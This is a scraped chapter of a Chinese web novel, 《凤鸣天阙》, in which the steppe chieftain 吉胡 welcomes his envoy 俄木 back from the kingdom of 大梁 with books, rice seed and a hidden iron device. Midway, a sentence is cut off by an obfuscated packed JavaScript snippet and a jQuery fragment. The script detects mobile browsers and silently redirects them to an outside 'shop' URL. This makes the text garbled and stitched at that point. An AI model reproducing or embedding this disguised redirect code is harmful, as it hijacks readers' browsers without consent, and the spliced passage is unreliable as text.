54. 草原
作品:《凤鸣天阙》 草长莺飞二月天,拂堤杨柳醉春烟。春三月的草原风景明丽,万物复苏,大地呈现一种昂扬向上的勃勃生机。
远处的十几个帐篷聚在一起,人群叽叽喳喳的闲聊,放养的马儿在草地上驰骋,雄鹰盘旋而上,几秒锁定猎物张开尖尖的喙捕捉猎物后重新飞回主人的手臂上。
吉胡骑着骏马,拉着缰绳,看着下面的子民安乐的待在牧场上,眼神有一瞬间温柔。不过仅仅几秒的时间,这铁汉柔情的一面瞬间消失殆尽。
旁边的下部阿尔肯骑着一匹稍微矮一点的马跟在他身后,望向他的眼神里只有心悦臣服和敬仰。
面前这个年轻的领导者手腕铁血、说一不二,短短三年时间就平定了草原各个部落之间的混战,用武力把几个势单力薄的小部落合并起来组成一个新的部落——鞑陀。
鞑陀首领年轻骁勇、威震四方,这是草原上有口皆碑的一件事。
可他对自己说子民却有着最慈祥仁爱的一面,他像是一个家庭的父亲在外面冲风破浪,默不作声的替家人遮风挡雨,把自己最柔和的一面给了家人。
他闲余时会亲自帮部落的其他人捕鱼喂马,对那些年老丧子和中年丧夫的可怜人也会亲自给予问候。基于此,他几乎得到了草原所有人的信任和爱戴,所以即便是用武力获得了权利,统治起来却没有任何阻拦。
益州靠近边陲与匈奴接壤,这是辽阔的草原之中唯一一个区别于鞑陀的其他部落。
可匈奴的统治者贪图享乐、夜夜笙歌,百姓厌恶已久,城内名不聊生。不少匈奴的人选择主动往东投奔鞑陀过上新的生活,还有一些走不了的也希望鞑陀的马蹄踏破城门,给他们带来新生。
吉胡对这些人来者不拒,甚至亲手安排他们的事宜,帮扶他们的生活。短短几天就能通过润物细声的礼待和关怀拉拢不少人心。
可他觉得还不够,他给他的子民的还是太少。
鞑陀子子辈辈以畜牧业为生,可这是个看天的买卖,前年冬天适逢大雪,不少牛羊因为天寒地冻被饿死,不少人同样因为缺少粮食死在那个冬天。
吉胡看着痛心不止,打定主意要给自己的子民打下大大的疆土。
于是他开始了扩张的道路,人挡杀人,佛挡杀佛。抵抗者不说废话格杀勿论,顺从者刀下留情收容为鞑陀的新子民。
西边不少部族都死在他的马蹄下,人们的鲜血染红了这片领土,乌鸦和秃鹫落在成堆的尸体上撕咬着腐烂的血肉。
后面他所控制的领土越来越大,子民也越来越多,部落的战斗力力也越来越强悍。
如今的他改良了耐力极强的矮种马和坚不可摧的护盾,极大的减少了战争损耗,但进攻还是个大大的难题。
即便这样他依旧代表着草原最先进文明,唯一能和他掰掰手腕的就是遥远的东方国家,也就是他们常说的大梁。
阿尔肯从小和他一起长大,是他最忠诚的信徒。吉胡做出的每一个表情和每一个动作阿尔肯都知道其中的意味,像刚刚托着腮的样子不用想就是沉思。
这个时候吉胡需要最安静的环境,不想被任何人打搅。于是他选择沉默的陪在他身边,降低自己的存在感。
阿尔肯在他皱着眉头沉思完毕后,才凑在他耳朵旁交代自己方才得到的消息:“大汗,俄木从东边回来了还带了不少稀奇的东西,你要去看看吗?”
他口中的东边就是富丽堂皇的大梁,在他们眼中那是最有文化底蕴的地方。
吉胡眉头一扬,脸上的忧郁瞬间消散。他大笑一声,说:“看!怎么能不看!”
他每个月最期待的就是俄木从东边带来了什么他们接触不到的先进东西。
值得一说的是,吉胡能在短短时间内平定草原叛乱并让那么多人心愿臣服,和借助中原先进的文化和制度也脱不了干系。
他隔三差五的派人去大梁置换先进的东西,像值得人津津乐道的文化名作和长在恶劣的环境依旧势头很好的农作物,这些都是他们很难培养的东西。
但最重要的也是最难得的是大梁制作的能以一敌百的先进武器,吉胡做梦都想拥有他们。
只是想到这里吉胡就异常的兴奋,他用缰绳拍打着马儿的背部,晒得有些发黑的唇色一抿,放纵的喊出一声:“驾——”
马儿迎风奔跑,阿尔肯跟在他身后也发出肆意飞扬的笑,对他们从小生长在草原的人来说,在草原上肆意跑马是这世上最幸福的事。
******
他们赶到的时候俄木已经从马车上下来了,他带着许多稀奇古怪的小玩意,引得五六个小孩啧啧称奇。
吉胡跳下马,把马鞭和缰绳随意扔给旁边的人,先前落在他手臂的雄鹰不知道又飞到哪里去了。他没有管这些,只是迈着大步子,哈哈笑着朝人群之中的俄木走过去。
俄木隔着很远就看见了他,张开了手臂挥舞,随后又把双手握成喇叭的形状放在嘴边,大声喊道:“大汗——”
吉胡三两步跑到他面前,随即一把把他拥进怀里。俄木笑得肆意,鬓间的发丝迎风吹到天上。
“好小子,又变壮了。”吉胡拍打着他手臂上的壮肉,笑着开口。
俄木已经换上了他们自己的服饰,手臂上用黑色的绑带勒着,胸口硕大的肌肉也裸露出来。他的眼神很亮,肤色比他们一般人要白很多。
他是鞑陀少见的会说汉话的,是因为他母亲是一个中原人。听说他母亲是跟着商队来到这里的,偶然间对这里的一位男儿郎一见钟情,一番天伦之乐下
选择留在这里扎根立业,没几年便生下来他。
在他的印象里,母亲是个温柔体贴的人。她会讲天马行空的故事,会用乌黑的发丝撩过他的面颊。她的肤色比部落里的大部分人白很多,俄木问她为什么你和别人不一样,女人会温和的笑着说,我来自很远很远的地方……
小俄木眼睛很亮,总是缠着母亲给自己讲自己故土的故事。母亲故事中一个又一个英勇的主角和富饶开放的大梁让小小的俄木对中原有着浓厚的兴趣。
后来吉胡在部族中询问谁愿意带队中原,他二话不说选择请缨,肩负起这个重任。
最开始因为不适应和不熟悉中原饮食和文化步履维艰,现在平均一年三次往返中原,变得越来越像本地人。
根据吉胡要求的,他把从中原所见所闻都编成一个故事讲给部落里的小孩子听。
对吉胡自己来说,学习中原的制度有利有弊,所以他会取其精华去其糟粕,并结合鞑陀的习俗和特征加以改良和改善,让文化的影响力和鞑陀文明的底蕴结合起来,打出一加一大于二的效果。
俄木的马车上有好几册中原新兴的读物,从行测制度到小说应有尽有。
文化的传播形式不是单一的,吉胡也效仿中原采取包容开放的心态,让好东西在部落里面广为流传,意欲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367131|198778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
培养成比他更优秀的人。
俄木看起来十分兴奋,一看这次去中原就是受益匪浅。
吉胡了解他的性子,拥抱了一下就松开了双臂,笑着说:“来说说吧,这次带来了什么好东西?”
俄木弓着身子从马车里拿出一叠小册子,眼睛瞪得圆溜溜的,说:“这是大梁才女赵玉媛的新作,不少有影响力的读书人都广为赞叹,我看着也觉得写的很好。我为了方便大家阅读已经趁着空余时间翻译成胡语了,大汗您快看看!”
吉胡眼神一亮,自从他学会了汉语,最爱读的就是赵玉媛的文章。她提出的观点总是一针见血,像是战场之中的一剑封喉,总是利落干净的让人忍不住想要读下去。
吉胡的汉语是近两年才学的,在连赵玉媛的名字都念得磕磕绊绊的情况下对她所提倡的思想极其信服。
俄木又从马车里面拿出来一小袋种子,对众人说,这是南方的水稻,是种在水里面的。
周围掀起了几声惊呼,在他们的认知中粮食是长在土地里面的,像他们脚下的草原那么旷远辽阔,可以孕育很多生命,第一次听说粮食还可以生长在水中。
俄木带着笑意向周围的人解释了好几遍,他们才似懂非懂的点头。
吉胡叉着腰看着自己的子民一脸懵懂渴求的样子,从内心里散发到某种情感更甚了。
没有一个统治者不希望自己的部族是世界上最伟大、最文明的群体,即便他们出生在穷乡僻壤,但他们也不想认命还想改命。
这看起来像是痴人说梦,但不向上碰一碰永远是井底观天的青蛙。
俄木又从自己带来的东西中挑拣出几个有意思的小玩意塞到一脸兴奋的小孩子手里,还把几份来自中原的小点心分给面前团团围着他的小孩,然后打发他们去一边玩。
周围的闲杂人等都被他糊弄离开了,俄木左看右看确定没人的时候才搂着脖子把吉胡拉到马车里面。
他笑得依旧很张扬,像偷偷藏着糖果的孩子,从叠叠压着的行李中拿出一个黑色的大玩意。
俄木压低声音,眼睛很亮:“大汗,你知道这是什么吗?”
吉胡左看右看摇摇头,说:“不知道,一堆残次钢铁?”
中原有最锋利的长矛和最顽固的盾牌,这些都是在烈火焚烧中提练出来的,他们把这称为钢铁。
而他手中的东西弯弯扭扭,不像长矛一样尖利也不像盾牌一样宽大,像是提炼他们剩的残次品。
但吉胡看着俄木兴冲冲的样子就能觉察出不会是他料想的那么简单,可前看后看确实看不出端倪,实在让人摸不着头脑。
“不!”俄木闻言瞪大眼睛,说:“这可是好东西!”
他左看右看,想找一个合适的地方给他演示,但四周全是安详吃草的马儿和辛苦耕种的百姓,要是在这里演示,发出的声音怕是会吓到它们。
于是他用黑布把这东西裹住,拉着吉胡跳下马车,说:走,“我们去远一点的地方试。”
俄木的性格像个鲜活的小孩,吉胡比他大很多,平常小事中很纵容他,听他那么说立马拉着他的手,带他去骑马。
烈马飞驰,鬓发随风飘扬。俄木酣畅淋漓的拉着缰绳,笑容飞到天上去。他迎着风大声呼喊:“好久没有那么畅快的骑马了!”
吉胡跟在他后面,提防着他因为大意摔下马。
二人骑了好久,终于来到了乌蛮山脚下。

